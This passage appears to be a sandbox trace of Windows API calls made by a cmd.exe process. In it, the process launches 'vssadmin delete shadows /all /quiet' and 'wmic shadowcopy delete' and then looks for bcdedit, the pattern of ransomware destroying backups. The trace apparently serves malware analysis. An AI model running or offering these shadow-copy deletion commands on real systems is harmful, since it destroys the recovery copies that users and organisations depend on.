_MaxCount=0x7) returned 3 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.585] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.585] GetProcessHeap () returned 0x500000 [0067.585] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x512df8 | out: hHeap=0x500000) returned 1 [0067.585] GetProcessHeap () returned 0x500000 [0067.585] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xa) returned 0x5101c8 [0067.585] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0067.587] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x45f46c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x45f4b8 | out: lpCommandLine="vssadmin delete shadows /all /quiet ", lpProcessInformation=0x45f4b8*(hProcess=0x78, hThread=0x74, dwProcessId=0x6c0, dwThreadId=0x664)) returned 1 [0067.600] CloseHandle (hObject=0x74) returned 1 [0067.600] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.600] GetProcessHeap () returned 0x500000 [0067.600] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x512e50 | out: hHeap=0x500000) returned 1 [0067.600] GetEnvironmentStringsW () returned 0x512e18* [0067.600] GetProcessHeap () returned 0x500000 [0067.600] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb36) returned 0x517980 [0067.600] FreeEnvironmentStringsW (penv=0x512e18) returned 1 [0067.600] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0076.937] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x45f3ac | out: lpExitCode=0x45f3ac*=0x2) returned 1 [0076.937] CloseHandle (hObject=0x78) returned 1 [0076.937] _vsnwprintf (in: _Buffer=0x45f4f4, _BufferCount=0x13, _Format="%08X", _ArgList=0x45f3b8 | out: _Buffer="00000002") returned 8 [0076.937] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0076.938] GetProcessHeap () returned 0x500000 [0076.938] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x517980 | out: hHeap=0x500000) returned 1 [0076.938] GetEnvironmentStringsW () returned 0x517980* [0076.938] GetProcessHeap () returned 0x500000 [0076.938] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb5c) returned 0x5184e8 [0076.938] FreeEnvironmentStringsW (penv=0x517980) returned 1 [0076.938] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.938] GetProcessHeap () returned 0x500000 [0076.938] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5184e8 | out: hHeap=0x500000) returned 1 [0076.938] GetEnvironmentStringsW () returned 0x517980* [0076.938] GetProcessHeap () returned 0x500000 [0076.938] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb5c) returned 0x5184e8 [0076.938] FreeEnvironmentStringsW (penv=0x517980) returned 1 [0076.938] GetProcessHeap () returned 0x500000 [0076.938] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5101c8 | out: hHeap=0x500000) returned 1 [0076.938] DeleteProcThreadAttributeList (in: lpAttributeList=0x45f410 | out: lpAttributeList=0x45f410) [0076.938] GetConsoleTitleW (in: lpConsoleTitle=0x45f790, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0076.939] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x210) returned 0x515540 [0076.939] GetProcessHeap () returned 0x500000 [0076.939] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3a) returned 0x50f728 [0076.939] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x418) returned 0x5007f0 [0076.939] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5007f8, lpFilePart=0x45f2b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f2b0*="Desktop") returned 0x25 [0076.939] SetErrorMode (uMode=0x0) returned 0x1 [0076.939] GetProcessHeap () returned 0x500000 [0076.939] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5007f0, Size=0x5e) returned 0x5007f0 [0076.939] GetProcessHeap () returned 0x500000 [0076.939] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x5007f0) returned 0x5e [0076.939] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.939] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.939] GetProcessHeap () returned 0x500000 [0076.940] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x120) returned 0x515758 [0076.940] GetProcessHeap () returned 0x500000 [0076.940] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x238) returned 0x500858 [0076.940] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x500858, Size=0x122) returned 0x500858 [0076.940] GetProcessHeap () returned 0x500000 [0076.940] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x500858) returned 0x122 [0076.940] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.940] GetProcessHeap () returned 0x500000 [0076.940] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xe0) returned 0x515880 [0076.940] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x515880, Size=0x76) returned 0x515880 [0076.940] GetProcessHeap () returned 0x500000 [0076.940] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x515880) returned 0x76 [0076.940] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.940] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x45f02c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f02c) returned 0xffffffff [0076.940] GetLastError () returned 0x2 [0076.940] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic", fInfoLevelId=0x1, lpFindFileData=0x45f02c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f02c) returned 0xffffffff [0076.940] GetLastError () returned 0x2 [0076.941] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.941] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x45f02c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f02c) returned 0xffffffff [0076.941] GetLastError () returned 0x2 [0076.941] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic", fInfoLevelId=0x1, lpFindFileData=0x45f02c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f02c) returned 0xffffffff [0076.941] GetLastError () returned 0x2 [0076.941] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.941] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x45f02c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f02c) returned 0xffffffff [0076.941] GetLastError () returned 0x2 [0076.941] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic", fInfoLevelId=0x1, lpFindFileData=0x45f02c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f02c) returned 0xffffffff [0076.942] GetLastError () returned 0x2 [0076.942] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.942] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x45f02c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f02c) returned 0x515900 [0076.942] FindClose (in: hFindFile=0x515900 | out: hFindFile=0x515900) returned 1 [0076.943] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x45f02c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f02c) returned 0xffffffff [0076.945] GetLastError () returned 0x2 [0076.945] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x45f02c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f02c) returned 0x515900 [0076.946] FindClose (in: hFindFile=0x515900 | out: hFindFile=0x515900) returned 1 [0076.947] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.947] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.947] GetConsoleTitleW (in: lpConsoleTitle=0x45f524, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0076.947] InitializeProcThreadAttributeList (in: lpAttributeList=0x45f3ac, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x45f474 | out: lpAttributeList=0x45f3ac, lpSize=0x45f474) returned 1 [0076.947] UpdateProcThreadAttribute (in: lpAttributeList=0x45f3ac, dwFlags=0x0, Attribute=0x60001, lpValue=0x45f46c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x45f3ac, lpPreviousValue=0x0) returned 1 [0076.947] GetStartupInfoW (in: lpStartupInfo=0x45f368 | out: lpStartupInfo=0x45f368*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0076.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x515900 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.947] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.948] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.948] GetProcessHeap () returned 0x500000 [0076.948] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x515900 | out: hHeap=0x500000) returned 1 [0076.948] GetProcessHeap () returned 0x500000 [0076.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xa) returned 0x5101c8 [0076.948] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0076.949] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic shadowcopy delete ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x45f408*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic shadowcopy delete ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x45f454 | out: lpCommandLine="wmic shadowcopy delete ", lpProcessInformation=0x45f454*(hProcess=0x74, hThread=0x78, dwProcessId=0x4e4, dwThreadId=0x5a8)) returned 1 [0079.268] CloseHandle (hObject=0x78) returned 1 [0079.268] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.268] GetProcessHeap () returned 0x500000 [0079.268] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5184e8 | out: hHeap=0x500000) returned 1 [0079.268] GetEnvironmentStringsW () returned 0x517980* [0079.268] GetProcessHeap () returned 0x500000 [0079.268] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb5c) returned 0x5184e8 [0079.268] FreeEnvironmentStringsW (penv=0x517980) returned 1 [0079.268] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0088.630] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x45f348 | out: lpExitCode=0x45f348*=0x80041014) returned 1 [0088.631] CloseHandle (hObject=0x74) returned 1 [0088.631] _vsnwprintf (in: _Buffer=0x45f490, _BufferCount=0x13, _Format="%08X", _ArgList=0x45f354 | out: _Buffer="80041014") returned 8 [0088.631] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0088.631] GetProcessHeap () returned 0x500000 [0088.631] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5184e8 | out: hHeap=0x500000) returned 1 [0088.631] GetEnvironmentStringsW () returned 0x517980* [0088.631] GetProcessHeap () returned 0x500000 [0088.631] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb5c) returned 0x5184e8 [0088.631] FreeEnvironmentStringsW (penv=0x517980) returned 1 [0088.631] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0088.631] GetProcessHeap () returned 0x500000 [0088.631] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5184e8 | out: hHeap=0x500000) returned 1 [0088.631] GetEnvironmentStringsW () returned 0x517980* [0088.631] GetProcessHeap () returned 0x500000 [0088.631] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb5c) returned 0x5184e8 [0088.631] FreeEnvironmentStringsW (penv=0x517980) returned 1 [0088.631] GetProcessHeap () returned 0x500000 [0088.631] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5101c8 | out: hHeap=0x500000) returned 1 [0088.631] DeleteProcThreadAttributeList (in: lpAttributeList=0x45f3ac | out: lpAttributeList=0x45f3ac) [0088.632] GetConsoleTitleW (in: lpConsoleTitle=0x45f72c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0088.632] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x500ba8, lpFilePart=0x45f24c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f24c*="Desktop") returned 0x25 [0088.632] SetErrorMode (uMode=0x0) returned 0x1 [0088.632] GetProcessHeap () returned 0x500000 [0088.632] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x500ba0, Size=0x64) returned 0x500ba0 [0088.632] GetProcessHeap () returned 0x500000 [0088.632] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x500ba0) returned 0x64 [0088.632] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0088.632] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0088.632] GetProcessHeap () returned 0x500000 [0088.632] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x120) returned 0x500c10 [0088.633] GetProcessHeap () returned 0x500000 [0088.633] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x238) returned 0x500d38 [0088.633] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x500d38, Size=0x122) returned 0x500d38 [0088.633] GetProcessHeap () returned 0x500000 [0088.633] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x500d38) returned 0x122 [0088.633] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0088.633] GetProcessHeap () returned 0x500000 [0088.633] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xe0) returned 0x500e68 [0088.633] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x500e68, Size=0x76) returned 0x500e68 [0088.633] GetProcessHeap () returned 0x500000 [0088.633] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x500e68) returned 0x76 [0088.633] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.633] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.633] GetLastError () returned 0x2 [0088.633] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.633] GetLastError () returned 0x2 [0088.634] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.634] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.634] GetLastError () returned 0x2 [0088.634] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.634] GetLastError () returned 0x2 [0088.634] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.634] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.634] GetLastError () returned 0x2 [0088.634] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.635] GetLastError () returned 0x2 [0088.635] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.635] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.635] GetLastError () returned 0x2 [0088.635] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.635] GetLastError () returned 0x2 [0088.635] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.635] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.636] GetLastError () returned 0x2 [0088.636] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45efc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45efc8) returned 0xffffffff [0088.636] GetLastError () returned 0x2 [0088.638] _get_osfhandle (_FileHandle=2) returned 0xb [0088.638] GetFileType (hFile=0xb) returned 0x2 [0088.638] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0088.638] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x45f41c | out: lpMode=0x45f41c) returned 1 [0088.639] _get_osfhandle (_FileHandle=2) returned 0xb [0088.639] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x45f450 | out: lpConsoleScreenBufferInfo=0x45f450) returned 1 [0088.639] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4ab04640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0088.640] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, 